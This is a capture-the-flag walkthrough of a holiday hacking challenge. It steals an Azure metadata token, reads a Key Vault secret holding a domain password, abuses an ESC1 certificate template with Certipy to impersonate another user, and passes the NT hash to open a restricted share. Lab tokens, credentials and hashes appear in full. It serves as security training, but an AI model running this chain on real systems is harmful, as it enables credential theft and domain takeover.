Skip to content

Active Directory⚓︎

Difficulty:

Objective⚓︎

Request

Go to Steampunk Island and help Ribb Bonbowford audit the Azure AD environment. What's the name of the secret file in the inaccessible folder on the FileShare?

Ribb Bonbowford

Hello, I'm Ribb Bonbowford. Nice to meet you!
Oh golly! It looks like Alabaster deployed some vulnerable Azure Function App Code he got from ChatNPT.
Don't get me wrong, I'm all for testing new technologies. The problem is that Alabaster didn't review the generated code and used the Geese Islands Azure production environment for his testing.
I'm worried because our Active Directory server is hosted there and Wombley Cube's research department uses one of its fileshares to store their sensitive files.
I'd love for you to help with auditing our Azure and Active Directory configuration and ensure there's no way to access the research department's data.
Since you have access to Alabaster's SSH account that means you're already in the Azure environment. Knowing Alabaster, there might even be some useful tools in place already.

Hints⚓︎

Useful Tools

It looks like Alabaster's SSH account has a couple of tools installed which might prove useful.

Misconfiguration ADventures

Certificates are everywhere. Did you know Active Directory (AD) uses certificates as well? Apparently the service used to manage them can have misconfigurations too.

Solution⚓︎

Reportinator tip

Listing 4: Azure CLI Command to Set Key Vault Secret
$ az keyvault secret set --vault-name vault-name --name secret-name --value secret-value
A proper remediation should result in an error message, such as:
AuthorizationFailed: The client client-id with object id object-id does not have authorization to perform action Microsoft.KeyVault/vaults/secrets/write over scope /subscriptions/subscription-id/resourceGroups/resource-group-name/providers/Microsoft.KeyVault/vaults/vault-name/secrets/secret-name or the scope is invalid.

Once we gained access to Alabaster account We can see list of tools which might help us on auditing Azure AD enviroment.

First we obtain token from Metadata service:

curl 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https%3A%2F%2Fmanagement.azure.com%2F' -H Metadata:true -s
RESPONSE with TOKEN
{"access_token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IjVCM25SeHRRN2ppOGVORGMzRnkwNUtmOTdaRSIsImtpZCI6IjVCM25SeHRRN2ppOGVORGMzRnkwNUtmOTdaRSJ9.eyJhdWQiOiJodHRwczovL21hbmFnZW1lbnQuYXp1cmUuY29tLyIsImlzcyI6Imh0dHBzOi8vc3RzLndpbmRvd3MubmV0LzkwYTM4ZWRhLTQwMDYtNGRkNS05MjRjLTZjYTU1Y2FjYzE0ZC8iLCJpYXQiOjE3MDQxOTc1NjcsIm5iZiI6MTcwNDE5NzU2NywiZXhwIjoxNzA0Mjg0MjY3LCJhaW8iOiJFMlZnWU9ncjZKcjZJL3ZxWFRtMkI0cU1VclZiQUE9PSIsImFwcGlkIjoiYjg0ZTA2ZDMtYWJhMS00YmNjLTk2MjYtMmUwZDc2Y2JhMmNlIiwiYXBwaWRhY3IiOiIyIiwiaWRwIjoiaHR0cHM6Ly9zdHMud2luZG93cy5uZXQvOTBhMzhlZGEtNDAwNi00ZGQ1LTkyNGMtNmNhNTVjYWNjMTRkLyIsImlkdHlwIjoiYXBwIiwib2lkIjoiNjAwYTNiYzgtN2UyYy00NGU1LThhMjctMThjM2ViOTYzMDYwIiwicmgiOiIwLkFGRUEybzZqa0FaQTFVMlNUR3lsWEt6QlRVWklmM2tBdXRkUHVrUGF3ZmoyTUJQUUFBQS4iLCJzdWIiOiI2MDBhM2JjOC03ZTJjLTQ0ZTUtOGEyNy0xOGMzZWI5NjMwNjAiLCJ0aWQiOiI5MGEzOGVkYS00MDA2LTRkZDUtOTI0Yy02Y2E1NWNhY2MxNGQiLCJ1dGkiOiJFSXp1Z2dHWWxVZXpNRWFPNmRrQ0JnIiwidmVyIjoiMS4wIiwieG1zX2F6X3JpZCI6Ii9zdWJzY3JpcHRpb25zLzJiMDk0MmYzLTliY2EtNDg0Yi1hNTA4LWFiZGFlMmRiNWU2NC9yZXNvdXJjZWdyb3Vwcy9ub3J0aHBvbGUtcmcxL3Byb3ZpZGVycy9NaWNyb3NvZnQuQ29tcHV0ZS92aXJ0dWFsTWFjaGluZXMvc3NoLXNlcnZlci12bSIsInhtc19jYWUiOiIxIiwieG1zX21pcmlkIjoiL3N1YnNjcmlwdGlvbnMvMmIwOTQyZjMtOWJjYS00ODRiLWE1MDgtYWJkYWUyZGI1ZTY0L3Jlc291cmNlZ3JvdXBzL25vcnRocG9sZS1yZzEvcHJvdmlkZXJzL01pY3Jvc29mdC5NYW5hZ2VkSWRlbnRpdHkvdXNlckFzc2lnbmVkSWRlbnRpdGllcy9ub3J0aHBvbGUtc3NoLXNlcnZlci1pZGVudGl0eSIsInhtc190Y2R0IjoxNjk4NDE3NTU3fQ.IWhezoNaO1CXWr3WxpLQ8fBXpot_rb_VnGQTpG3-5mA04JXOMLTTy0eyvcb-PVLktN0dIgLqaELrGJ4nnGI2vD79xXZMoSfBt4ov9Nbq3wPaLQChD2AEkBYHey5WjrTfdngP7Cuy1yKH7t1jIJEPIGmZaNRescVMHS9HO9rZAck7yq1gpTAtQRQaMQWuSTQAhTEPdVtuqUItPqpXoWu4U6fS8JOf9NNvAndtxl9xGgiWbjWtuubDWZdKT1bXo4talKTwHghfGOZRc7tp8GFMgB3Yrm3Z8UW402THs1l4FeiNaZlZBAmODyawFiYD6D4pYcnzW1C-HsY_6vBqbwKpfw","client_id":"b84e06d3-aba1-4bcc-9626-2e0d76cba2ce","expires_in":"84172","expires_on":"1704284267","ext_expires_in":"86399","not_before":"1704197567","resource":"https://management.azure.com/","token_type":"Bearer"}

Let's check active subscriptions:

curl -H "Authorization: Bearer <TOKEN>" 'https://management.azure.com/subscriptions?api-version=2022-12-01' | python -m json.tool
{
    "value": [
        {
            "id": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64",
            "authorizationSource": "RoleBased",
            "managedByTenants": [],
            "tags": {
                "sans:application_owner": "SANS:R&D",
                "finance:business_unit": "curriculum"
            },
            "subscriptionId": "2b0942f3-9bca-484b-a508-abdae2db5e64",
            "tenantId": "90a38eda-4006-4dd5-924c-6ca55cacc14d",
            "displayName": "sans-hhc",
            "state": "Enabled",
            "subscriptionPolicies": {
                "locationPlacementId": "Public_2014-09-01",
                "quotaId": "EnterpriseAgreement_2014-09-01",
                "spendingLimit": "Off"
            }
        }
    ],
    "count": {
        "type": "Total",
        "value": 1
    }
}

Now let's query resources groups for this subscription

curl -H "Authorization: Bearer <TOKEN>" 'https://management.azure.com/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups?api-version=2020-01-01' | python -m json.tool
{
    "value": [
        {
            "id": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1",
            "name": "northpole-rg1",
            "type": "Microsoft.Resources/resourceGroups",
            "location": "eastus",
            "tags": {},
            "properties": {
                "provisioningState": "Succeeded"
            }
        }
    ]
}

Now let's try to get list of KeyVaults

curl -X GET -H "Authorization: Bearer <Access-Token>" \
-H "Content-Type: application/json" \
https://management.azure.com/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.KeyVault/vaults?api-version=2019-09-01
| python -m json.tool
{
    "value": [
        {
            "id": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.KeyVault/vaults/northpole-it-kv",
            "name": "northpole-it-kv",
            "type": "Microsoft.KeyVault/vaults",
            "location": "eastus",
            "tags": {},
            "properties": {
                "sku": {
                    "family": "A",
                    "name": "Standard"
                },
                "tenantId": "90a38eda-4006-4dd5-924c-6ca55cacc14d",
                "accessPolicies": [],
                "enabledForDeployment": false,
                "enabledForDiskEncryption": false,
                "enabledForTemplateDeployment": false,
                "enableSoftDelete": true,
                "softDeleteRetentionInDays": 90,
                "enableRbacAuthorization": true,
                "vaultUri": "https://northpole-it-kv.vault.azure.net/",
                "provisioningState": "Succeeded"
            }
        },
        {
            "id": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.KeyVault/vaults/northpole-ssh-certs-kv",
            "name": "northpole-ssh-certs-kv",
            "type": "Microsoft.KeyVault/vaults",
            "location": "eastus",
            "tags": {},
            "properties": {
                "sku": {
                    "family": "A",
                    "name": "standard"
                },
                "tenantId": "90a38eda-4006-4dd5-924c-6ca55cacc14d",
                "accessPolicies": [
                    {
                        "tenantId": "90a38eda-4006-4dd5-924c-6ca55cacc14d",
                        "objectId": "0bc7ae9d-292d-4742-8830-68d12469d759",
                        "permissions": {
                            "keys": [
                                "all"
                            ],
                            "secrets": [
                                "all"
                            ],
                            "certificates": [
                                "all"
                            ],
                            "storage": [
                                "all"
                            ]
                        }
                    },
                    {
                        "tenantId": "90a38eda-4006-4dd5-924c-6ca55cacc14d",
                        "objectId": "1b202351-8c85-46f1-81f8-5528e92eb7ce",
                        "permissions": {
                            "secrets": [
                                "get"
                            ]
                        }
                    }
                ],
                "enabledForDeployment": false,
                "enableSoftDelete": true,
                "softDeleteRetentionInDays": 90,
                "vaultUri": "https://northpole-ssh-certs-kv.vault.azure.net/",
                "provisioningState": "Succeeded"
            }
        }
    ],
    "nextLink": "https://management.azure.com/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.KeyVault/vaults?api-version=2019-09-01&$skiptoken=bm9ydGhwb2xlLXNzaC1jZXJ0cy1rdg=="
}

Ok, now let's try GET key vault "name": "northpole-it-kv",

curl -H "Authorization: Bearer "https://management.azure.com/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.KeyVault/vaults/northpole-it-kv?api-version=2022-07-01 | python -m json.tool
{
    "id": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.KeyVault/vaults/northpole-it-kv",
    "name": "northpole-it-kv",
    "type": "Microsoft.KeyVault/vaults",
    "location": "eastus",
    "tags": {},
    "systemData": {
        "createdBy": "thomas@sanshhc.onmicrosoft.com",
        "createdByType": "User",
        "createdAt": "2023-10-30T13:17:02.532Z",
        "lastModifiedBy": "thomas@sanshhc.onmicrosoft.com",
        "lastModifiedByType": "User",
        "lastModifiedAt": "2023-10-30T13:17:02.532Z"
    },
    "properties": {
        "sku": {
            "family": "A",
            "name": "Standard"
        },
        "tenantId": "90a38eda-4006-4dd5-924c-6ca55cacc14d",
        "accessPolicies": [],
        "enabledForDeployment": false,
        "enabledForDiskEncryption": false,
        "enabledForTemplateDeployment": false,
        "enableSoftDelete": true,
        "softDeleteRetentionInDays": 90,
        "enableRbacAuthorization": true,
        "vaultUri": "https://northpole-it-kv.vault.azure.net/",
        "provisioningState": "Succeeded",
        "publicNetworkAccess": "Enabled"
    }
}

To access keyvault we will need new Auth Token vault

 curl -s -H "Metadata: true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net"

{"access_token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IjVCM25SeHRRN2ppOGVORGMzRnkwNUtmOTdaRSIsImtpZCI6IjVCM25SeHRRN2ppOGVORGMzRnkwNUtmOTdaRSJ9.eyJhdWQiOiJodHRwczovL3ZhdWx0LmF6dXJlLm5ldCIsImlzcyI6Imh0dHBzOi8vc3RzLndpbmRvd3MubmV0LzkwYTM4ZWRhLTQwMDYtNGRkNS05MjRjLTZjYTU1Y2FjYzE0ZC8iLCJpYXQiOjE3MDQyNzUzNDcsIm5iZiI6MTcwNDI3NTM0NywiZXhwIjoxNzA0MzYyMDQ3LCJhaW8iOiJFMlZnWVBnakZCYjZ1UHdXNC8xYkNuV1dqejZvQXdBPSIsImFwcGlkIjoiYjg0ZTA2ZDMtYWJhMS00YmNjLTk2MjYtMmUwZDc2Y2JhMmNlIiwiYXBwaWRhY3IiOiIyIiwiaWRwIjoiaHR0cHM6Ly9zdHMud2luZG93cy5uZXQvOTBhMzhlZGEtNDAwNi00ZGQ1LTkyNGMtNmNhNTVjYWNjMTRkLyIsIm9pZCI6IjYwMGEzYmM4LTdlMmMtNDRlNS04YTI3LTE4YzNlYjk2MzA2MCIsInJoIjoiMC5BRkVBMm82amtBWkExVTJTVEd5bFhLekJUVG16cU0taWdocEhvOGtQd0w1NlFKUFFBQUEuIiwic3ViIjoiNjAwYTNiYzgtN2UyYy00NGU1LThhMjctMThjM2ViOTYzMDYwIiwidGlkIjoiOTBhMzhlZGEtNDAwNi00ZGQ1LTkyNGMtNmNhNTVjYWNjMTRkIiwidXRpIjoiMTNGSnVnbFVqa3liQVNUT19CU1hCdyIsInZlciI6IjEuMCIsInhtc19hel9yaWQiOiIvc3Vic2NyaXB0aW9ucy8yYjA5NDJmMy05YmNhLTQ4NGItYTUwOC1hYmRhZTJkYjVlNjQvcmVzb3VyY2Vncm91cHMvbm9ydGhwb2xlLXJnMS9wcm92aWRlcnMvTWljcm9zb2Z0LkNvbXB1dGUvdmlydHVhbE1hY2hpbmVzL3NzaC1zZXJ2ZXItdm0iLCJ4bXNfbWlyaWQiOiIvc3Vic2NyaXB0aW9ucy8yYjA5NDJmMy05YmNhLTQ4NGItYTUwOC1hYmRhZTJkYjVlNjQvcmVzb3VyY2Vncm91cHMvbm9ydGhwb2xlLXJnMS9wcm92aWRlcnMvTWljcm9zb2Z0Lk1hbmFnZWRJZGVudGl0eS91c2VyQXNzaWduZWRJZGVudGl0aWVzL25vcnRocG9sZS1zc2gtc2VydmVyLWlkZW50aXR5In0.QsuW5bW7bm_aEf7TRy37kry8depqvfpW8s0g8c-dj8r9KvgLeL2hhdeeC9Bwziy8VvPAIcDHC00Z5MENcMRJa6DQ6fk_Nxs2kK16JOa2I5O3bmIcr5AkY6srPB1ZQlsw8ZtwU_VZ4j6gatlRTVSHtzJwhdjGxrxxb1DdotXvmm4eUDV8z4goorZiowUshdwImA-ppygH6Df1IHwtNyFlIDKgBGi_p5HfKdocPWr9UI4lCSJNEzgdlxrlStRnYeI0FTahcpeP5NxtWScLzK0OuYeCvo6wDxuwCWQGKbRsEjKzhIxUD92J9eWifgtP94I9gsc0_6Izmqk9-hvaC35xtA","client_id":"b84e06d3-aba1-4bcc-9626-2e0d76cba2ce","expires_in":"85662","expires_on":"1704362047","ext_expires_in":"86399","not_before":"1704275347","resource":"https://vault.azure.net","token_type":"Bearer"}
Let's query our secrets in vault:

https://learn.microsoft.com/en-us/rest/api/keyvault/secrets/get-secrets/get-secrets?view=rest-keyvault-secrets-7.4&tabs=HTTP

curl -H "Authorization: Bearer [TOKEN]" https://northpole-it-kv.vault.azure.net/secrets?api-version=7.4

And we found interesting secret:

{
    "value": [
        {
            "id": "https://northpole-it-kv.vault.azure.net/secrets/tmpAddUserScript",
            "attributes": {
                "enabled": true,
                "created": 1699564823,
                "updated": 1699564823,
                "recoveryLevel": "Recoverable+Purgeable",
                "recoverableDays": 90
            },
            "tags": {}
        }
    ],
    "nextLink": null
}
Now let's pull our secret

curl -H "Authorization: Bearer <TOKEN>" "https://northpole-it-kv.vault.azure.net/secrets/tmpAddUserScript?api-version=7.0"
curl "https://northpole-it-kv.vault.azure.net/secrets/tmpAddUserScript?api-version=7.0" -H "Authorization: Bearer " And our secret!!

{
    "value": "Import-Module ActiveDirectory; $UserName = \"elfy\"; $UserDomain = \"northpole.local\"; $UserUPN = \"$UserName@$UserDomain\"; $Password = ConvertTo-SecureString \"J4`ufC49/J4766\" -AsPlainText -Force; $DCIP = \"10.0.0.53\"; New-ADUser -UserPrincipalName $UserUPN -Name $UserName -GivenName $UserName -Surname \"\" -Enabled $true -AccountPassword $Password -Server $DCIP -PassThru",
    "id": "https://northpole-it-kv.vault.azure.net/secrets/tmpAddUserScript/ec4db66008024699b19df44f5272248d",
    "attributes": {
        "enabled": true,
        "created": 1699564823,
        "updated": 1699564823,
        "recoveryLevel": "Recoverable+Purgeable"
    },
    "tags": {}
}

Now let's try to use our secrets to looks around AD env

smbclient.py northpole.local/elfy:'J4`ufC49/J4766'@10.0.0.53 -dc-ip 10.0.0.53

Looking around we can see some interesting files:

# shares
ADMIN$
C$
D$
FileShare
IPC$
NETLOGON
SYSVOL
# use FileShare
# ls
drw-rw-rw-          0  Wed Jan  3 01:13:58 2024 .
drw-rw-rw-          0  Wed Jan  3 01:13:55 2024 ..
-rw-rw-rw-     701028  Wed Jan  3 01:13:58 2024 Cookies.pdf
-rw-rw-rw-    1521650  Wed Jan  3 01:13:58 2024 Cookies_Recipe.pdf
-rw-rw-rw-      54096  Wed Jan  3 01:13:58 2024 SignatureCookies.pdf
drw-rw-rw-          0  Wed Jan  3 01:13:58 2024 super_secret_research
-rw-rw-rw-        165  Wed Jan  3 01:13:58 2024 todo.txt
# cat todo.txt
1. Bake some cookies.
2. Restrict access to C:\FileShare\super_secret_research to only researchers so everyone cant see the folder or read its contents
3. Profit
# cat super_secret_research
[-] SMB SessionError: STATUS_FILE_IS_A_DIRECTORY(The file that was specified as a target is a directory, and the caller specified that it could be anything but a directory.)
Vulnerable Active Directory Certificate Service-Certificate Template Allows Group/User Privilege Escalation

Severity: High
Finding: SCS used the tool Certipy to enumerate and attack Active Directory Certificate Services (AD CS). SCS ran the tool with the find -vulnerable option active. This option identifies certificate templates that allow users to supply their own subject alternative name (SAN) and determine if a client authentication extended key usage (EKU) is set. SCS identified a vulnerability within the AD CS certificate template susceptible to exploitation. This technique allowed our analysts to escalate their privileges by requesting certificates that grant access to other accounts and resources. The vulnerability exists because the AD CS template does not enforce proper authorization checks on the certificate enrollment process. Any authenticated user can request a certificate with any SAN, which can then be used for client authentication. This allowed our analysts to impersonate any user or computer in the domain, including domain administrators, and gain full control over the network.
Recommendation: SCS recommends that NPS review and modify the permissions on all AD CS certificate templates and ensure only designated security groups can enroll. It is recommended that NPS implement a tiered administration model and conduct regular permission set audits. Additionally, NPS may find the documentation provided by Microsoft and NIST for best practices to secure AD CS documentation of value. The best practices include but are not limited to: role separation, certificate validity period enforcement, compromised certificates revocation, and certificate activity monitoring.
Verification: NPS security teams can verify the remediation of this finding by running the Certipy tool with the find -vulnerable option active to check if any certificate templates still allow unauthorized enrollment. The NPS security team should confirm the AD CS template is no longer listed as vulnerable and that its permissions are restricted to the appropriate security groups.

Let's audit our AD CS service.

certipy find -vulnerable -u elfy@northpole.local -p 'J4`ufC49/J4766' -dc-ip 10.0.0.5
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[*] Trying to get CA configuration for 'northpole-npdc01-CA' via CSRA
[!] Got error while trying to get CA configuration for 'northpole-npdc01-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error.
[*] Trying to get CA configuration for 'northpole-npdc01-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Got CA configuration for 'northpole-npdc01-CA'
[*] Saved BloodHound data to '20240103104107_Certipy.zip'. Drag and drop the file into the BloodHound GUI from @ly4k
[*] Saved text output to '20240103104107_Certipy.txt'
[*] Saved JSON output to '20240103104107_Certipy.json'

cat 20240103104107_Certipy.txt
Certificate Authorities
  0
    CA Name                             : northpole-npdc01-CA
    DNS Name                            : npdc01.northpole.local
    Certificate Subject                 : CN=northpole-npdc01-CA, DC=northpole, DC=local
    Certificate Serial Number           : 52CE72EF7635CABF4BCC0B9C8435EF8A
    Certificate Validity Start          : 2024-01-03 01:05:50+00:00
    Certificate Validity End            : 2029-01-03 01:15:50+00:00
    Web Enrollment                      : Disabled
    User Specified SAN                  : Disabled
    Request Disposition                 : Issue
    Enforce Encryption for Requests     : Enabled
    Permissions
      Owner                             : NORTHPOLE.LOCAL\Administrators
      Access Rights
        ManageCertificates              : NORTHPOLE.LOCAL\Administrators
                                          NORTHPOLE.LOCAL\Domain Admins
                                          NORTHPOLE.LOCAL\Enterprise Admins
        ManageCa                        : NORTHPOLE.LOCAL\Administrators
                                          NORTHPOLE.LOCAL\Domain Admins
                                          NORTHPOLE.LOCAL\Enterprise Admins
        Enroll                          : NORTHPOLE.LOCAL\Authenticated Users
Certificate Templates
  0
    Template Name                       : NorthPoleUsers
    Display Name                        : NorthPoleUsers
    Certificate Authorities             : northpole-npdc01-CA
    Enabled                             : True
    Client Authentication               : True
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : True
    Certificate Name Flag               : EnrolleeSuppliesSubject
    Enrollment Flag                     : PublishToDs
                                          IncludeSymmetricAlgorithms
    Private Key Flag                    : ExportableKey
    Extended Key Usage                  : Encrypting File System
                                          Secure Email
                                          Client Authentication
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Validity Period                     : 1 year
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Permissions
      Enrollment Permissions
        Enrollment Rights               : NORTHPOLE.LOCAL\Domain Admins
                                          NORTHPOLE.LOCAL\Domain Users
                                          NORTHPOLE.LOCAL\Enterprise Admins
      Object Control Permissions
        Owner                           : NORTHPOLE.LOCAL\Enterprise Admins
        Write Owner Principals          : NORTHPOLE.LOCAL\Domain Admins
                                          NORTHPOLE.LOCAL\Enterprise Admins
        Write Dacl Principals           : NORTHPOLE.LOCAL\Domain Admins
                                          NORTHPOLE.LOCAL\Enterprise Admins
        Write Property Principals       : NORTHPOLE.LOCAL\Domain Admins
                                          NORTHPOLE.LOCAL\Enterprise Admins
    [!] Vulnerabilities
      ESC1                              : 'NORTHPOLE.LOCAL\\Domain Users' can enroll, enrollee supplies subject and template allows client authentication

So now we verified that vulnerability exist and is exploitable
[!] Vulnerabilities
ESC1 : 'NORTHPOLE.LOCAL\Domain Users' can enroll, enrollee supplies subject and template allows client authentication

ESC1 is when a certificate template permits Client Authentication and allows the enrollee to supply an arbitrary Subject Alternative Name (SAN).

On top of that we need to find user who is part of researcher team and will be able to access super secret file

GetADUsers.py  -all northpole.local/elfy:'J4`ufC49/J4766' -dc-ip 10.0.0.53

Name                  Email                           PasswordLastSet      LastLogon
--------------------  ------------------------------  -------------------  -------------------
alabaster                                             2024-01-03 01:03:30.006816  2024-01-03 01:16:54.252028
Guest                                                 <never>              <never>
krbtgt                                                2024-01-03 01:10:59.312257  <never>
elfy                                                  2024-01-03 01:13:03.950311  2024-01-03 10:47:47.325723
wombleycube                                           2024-01-03 01:13:04.075313  2024-01-03 10:43:12.019550

Oh looks like we can try wombleycube. Let's try to request certificate

For ESC1, we can request a certificate based on the vulnerable certificate template and specify an arbitrary UPN or DNS SAN with the -upn and -dns parameter, respectively.

certipy req -u 'elfy@northpole.local'  -p 'J4`ufC49/J4766'  -dc-ip '10.0.0.53'  -target 'npdc01.northpole.local'  -ca 'northpole-npdc01-CA' -template 'NorthPoleUsers' -upn 'wombleycube@northpole.local'
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 71
[*] Got certificate with UPN 'wombleycube@northpole.local'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'wombleycube.pfx'

The auth command will use either the PKINIT Kerberos extension or Schannel protocol for authentication with the provided certificate. Kerberos can be used to retrieve a TGT and the NT hash for the target user, whereas Schannel will open a connection to LDAPS and drop into an interactive shell with limited LDAP commands.

certipy auth -pfx wombleycube.pfx  -dc-ip 10.0.0.53

Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Using principal: wombleycube@northpole.local
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'wombleycube.ccache'
[*] Trying to retrieve NT hash for 'wombleycube'
[*] Got hash for 'wombleycube@northpole.local': aad3b435b51404eeaad3b435b51404ee:5740373231597863662f6d50484d3e23
The NT hash and the credential cache (TGT) can be used for further authentication with other tools. Lets go back again and try to use our hash with smbclient.py

smbclient.py -hashes aad3b435b51404eeaad3b435b51404ee:5740373231597863662f6d50484d3e
23 northpole.local/wombleycube@10.0.0.53 -dc-ip 10.0.0.53
# ls
drw-rw-rw-          0  Wed Jan  3 01:13:58 2024 .
drw-rw-rw-          0  Wed Jan  3 01:13:58 2024 ..
-rw-rw-rw-        231  Wed Jan  3 01:13:58 2024 InstructionsForEnteringSatelliteGroundStation.txt
# cat InstructionsForEnteringSatelliteGroundStation.txt
Note to self:

To enter the Satellite Ground Station (SGS), say the following into the speaker:

And he whispered, 'Now I shall be out of sight;
So through the valley and over the height.'
And he'll silently take his way.

Woho!

Answer

Note to self: To enter the Satellite Ground Station (SGS), say the following into the speaker:
And he whispered, 'Now I shall be out of sight; So through the valley and over the height.' And he'll silently take his way.

Response⚓︎

Ribb Bonbowford

Wow, nice work. I'm impressed!
This is all starting to feel like more than just a coincidence though. Everything Alabaster's been setting up lately with the help of ChatNPT contains all these vulnerabilities. It almost feels deliberate, if you ask me.
Now obviously an LLM AI like ChatNPT cannot have deliberate motivations itself. It's just a machine. But I wonder who could have built it and who is controlling it?
On top of that, we apparently have a satellite ground station on Geese Islands. I wonder where that thing would even be located.
Well, I guess it's probably somewhere on Space Island, but I've not been there yet.
I'm not a big fan of jungles, you see. I have this tendency to get lost in them.
Anyway, if you feel like investigating, that'd be where I'd go look.
Good luck and I'd try and steer clear of ChatNPT if I were you.